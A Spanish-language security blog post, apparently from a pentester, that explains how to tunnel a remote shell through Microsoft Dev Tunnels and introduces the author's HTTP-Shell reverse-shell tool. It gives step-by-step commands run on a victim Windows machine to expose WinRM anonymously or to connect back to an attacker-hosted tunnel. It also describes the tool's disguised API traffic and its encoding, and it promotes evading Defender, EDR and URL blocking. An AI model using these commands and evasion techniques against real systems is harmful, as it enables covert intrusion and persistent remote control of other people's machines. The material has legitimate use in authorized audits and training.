Muy buenas a todos!
Esta semana os traigo un artículo «dos en uno», en el que primero hablaremos de una herramienta para developers de Microsoft. Posteriormente, os explicaré cómo utilizarla en vuestras auditorías y cómo a raíz de esta idea, ha surgido una herramienta nueva que utiliza la lógica de otras tres herramientas distintas, con el fin de obtener una shell remota a través de la primera.
Una de las principales herramientas (y necesidades) de la mayoría de desarrolladores web (también aplica a otros, pero principalmente a éstos), es poder desplegar una página web en Internet que está alojada en un servidor local.
Para llevar esto a cabo, existen diferentes plataformas y tecnologías hospedadas por multitud de proveedores, algunas totalmente gratuitas y otras, de pago. De hecho, si alguna vez has utilizado Cloudtopolis, te sonará haberlo visto para entrar al dashboard.
Tampoco entraré mucho en detalle, ya que existen multitud de guías y artículos especializados en esta materia. Simplemente, retengamos este concepto de «túnel» para lo que viene a continuación.
Ahora, veamos esto desde un punto de vista ofensivo. Si puedo comunicar una máquina a Internet a través de un túnel, probablemente pueda obtener una shell remota. Pues de eso mismo trata exactamente este artículo 😜
*Evidentemente, esto no es algo nuevo. Ahora bien, en esta ocasión vamos a hacerlo con otros «ingredientes» que mejorarán sustancialmente el resultado.
Imagina por un momento que pudieras levantar un túnel en la red de Microsoft (hospedada por Azure), con un certificado firmado por ellos mismos, con el fin de alojar ahí tu Command & Control. Y por si esto fuera poco, imagina que también tienes un cliente (para Windows, macOS y Linux) firmado digitalmente por Microsoft.
Por sorprendente que parezca, es completamente real y fue anunciado a mediados de este mismo año. Lo mejor de todo (aparte de la multitud de ventajas que ofrece), no es que sea totalmente gratis, sino que, probablemente, no será interceptado ni bloqueado por Windows Defender (ni por el resto de EDR, al menos por ahora).
Ahora que tenemos clara la teoría, os explicaré cómo funciona la herramienta (a un nivel muy básico), con el fin de obtener nuestra primera shell remota 😋
A continuación, os dejo el enlace del proyecto en GitHub: Microsoft Dev tunnels
En primer lugar, descargaremos la herramienta en función de nuestro sistema operativo, tal y como se indica en esta guía. En este ejemplo, ejecutaremos lo siguiente en nuestra víctima (Windows) a través de PowerShell:
Invoke-WebRequest -Uri https://aka.ms/TunnelsCliDownload/win-x64 -OutFile devtunnel.exe .\devtunnel.exe -h
A continuación, necesitaremos iniciar sesión para poder crear el túnel, ya que la creación de los túneles no es anónima, pero sí la conexión a los mismos. Para hacer esto, ejecutaremos el siguiente comando:
.\devtunnel.exe user login
Una vez introducidas las credenciales, nos aparecerá un mensaje conforme nos hemos identificado correctamente. Por último, hospedaremos el servicio de WinRM (que deberá estar previamente habilitado y configurado en la máquina) con el siguiente comando:
.\devtunnel.exe host -p 5985 --allow-anonymous
Ahora que el túnel ya está a la espera, ejecutaremos los siguientes comandos en nuestra Kali:
wget https://aka.ms/TunnelsCliDownload/linux-x64 mv linux-x64 devtunnel ; chmod +x devtunnel ./devtunnel connect $tunnel_id
Con esto, ya tendríamos el cliente para Linux y la conexión entre los dos extremos establecida correctamente. Esta conexión está cifrada por HTTPS, al igual que el binario que hemos utilizado anteriormente:
Por último, solo nos quedaría conectarnos a nuestra víctima a través de Evil-WinRM, tal y como podemos ver a continuación:
Ahora que hemos visto cómo funciona el maravilloso túnel de Microsoft, vamos a darle una pequeña vuelta con su correspondiente análisis 🤔
Lo que menos me gusta de hacerlo así, es tener que dropear un binario en nuestra víctima. Por mucho que esté firmado por Microsoft, no tardará mucho en convertirse en un lolbin (como los que ya forman parte del proyecto lolbas).
Adicionalmente, para hospedar un puerto, necesitamos introducir nuestras credenciales. Por mucho que se utilice una cuenta efímera, las mismas quedarán guardadas tanto en disco como en memoria, y probablemente, podrían dumpearse sin mucha dificultad.
Llegados a este punto, se me ocurrió otra forma diferente para conseguir nuestro objetivo. Ya que se trata de un servicio para developers, por qué no crear una «aplicación» con su correspondiente api, que nos devuelva una shell remota totalmente funcional?
De esta forma, si alguien ve una petición GET o POST a una «api» contra un servicio para developers, no debería sospechar. O al menos, no debería, mientras que no sepa que el proceso en cuestión, se trata de nuestro querido PowerShell.
Así que me puse manos a la obra, creando como resultado una de las fusiones más curiosas que he desarrollado hasta la fecha. Para construir semejante frankenstein, he utilizado partes y conceptos de tres herramientas diferentes:
• La lógica del servidor web en el Command & Control de PSRansom
• El prompt, la lógica de rutas relativas y de ejecución en PyShell
• El concepto de HTTP-revshell, añadiendo un cliente para Linux en Bash
El resultado final de este pequeño «caos», es una shell reversa muy parecida a HTTP-revshell, con la capacidad de funcionar a través Microsft Dev Tunnels (con la anterior no es posible), utilizando el mismo look & feel que PyShell y con algunas características extra.
A continuación, os dejo el enlace del proyecto en GitHub: HTTP-Shell
Antes de continuar, os explicaré muy brevemente el flujo de comunicación actual:
1. Se envía el user, el path y el hostname a la ruta «/api/info» a través de POST
2. Se obtiene el comando del prompt a través de GET en la ruta «/api/token»
3. Se espera a la salida del anterior a través de POST en la ruta «/api/debug»
4. Si ocurre algún fallo, se envía a través de POST en la ruta «/api/error»
5. Si se solicita la descarga de un fichero, se utiliza «/api/upload» a través de POST
6. Si se solicita la subida de un fichero, se utiliza «/api/download» a través de POST
*Los dos últimos comandos son desde el punto de vista del cliente, por eso están los nombres invertidos. Todo el tráfico entre ambas partes se codifica a través de Base64 URL al revés.
Ahora que ya tenemos claro cómo funcionan los túneles, cómo ha sido creada la herramienta y cómo funciona el flujo de comunicación, vamos a pasar (por fin) a la parte práctica 😋
Como de costumbre, clonaremos el proyecto desde la página de GitHub con el siguiente comando:
git clone https://github.com/JoelGMSec/HTTP-Shell
Una vez descargada la herramienta, tendremos acceso a tres ficheros:
– HTTP-Server.py: Este es el servidor, escrito en Python 3
– HTTP-Client.sh: Este es el cliente para Linux, escrito en Bash
– HTTP-Client.ps1: Este es el cliente para Windows, escrito en PowerShell
Para este nuevo ejemplo, lo haremos todo completamente al revés. Seremos nosotros los que levantaremos el túnel y la víctima la que se conectará a nosotros. Primero pondremos el servidor a la escucha y posteriormente, hospedaremos al mismo a través del túnel:
python3 HTTP-Server.py 443 ./devtunnel host -p 443 --allow-anonymous
A continuación, ejecutaremos el cliente en nuestra víctima de la siguiente forma:
.\HTTP-Client.ps1 -c https://dirección_del_túnel.devtunnel.ms
Aunque en este caso no ha sido necesario, existe la posibilidad de crear un sleep entre peticiones con el parámetro -s seguido del número de segundos. Esto evitará que seamos detectados por realizar demasiadas peticiones por minuto.
Si todo ha ido bien, recibiremos nuestra shell remota sin ningún tipo de problema:
Lo bueno de este sistema, es que no necesitamos identificarnos en la parte víctima, ya que estamos utilizando el parámetro –allow-anonymous que, como su propio nombre indica, permite conexiones anónimas desde el exterior.
Otro punto muy interesante, es que cada vez que hagamos este proceso, se nos otorgará un identificador y una URL diferente en cada ejecución. Si por algún motivo nos bloquean esa dirección (pero no el dominio completo), podremos evadir esas protecciones muy fácilmente.
Adicionalmente, podremos utilizar la herramienta de forma habitual, sin necesidad de hacer pasar el tráfico por el túnel de Microsoft. Por tanto, podrás usarla en Hack the Box, en tus auditorías o en cualquier otro sitio:
Antes de terminar, es importante tener en cuenta que esta shell no es completamente interactiva, pero muestra cualquier error en pantalla (tanto en Windows como en Linux), es capaz de subir y descargar ficheros, tiene historial de comandos, limpieza de terminal (incluso con CTRL+L), reconexión automática, movimiento entre directorios y soporta sudo (o sudo su) en cualquier sistema basado en Linux.
Como conclusión final, la herramienta se encuentra en fase «beta» y es probable que se produzcan fallos en algunos sistemas y configuraciones específicas. Si encuentras alguno, no dudes en hacérmelo saber 🙂
Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.
Nos vemos en la próxima!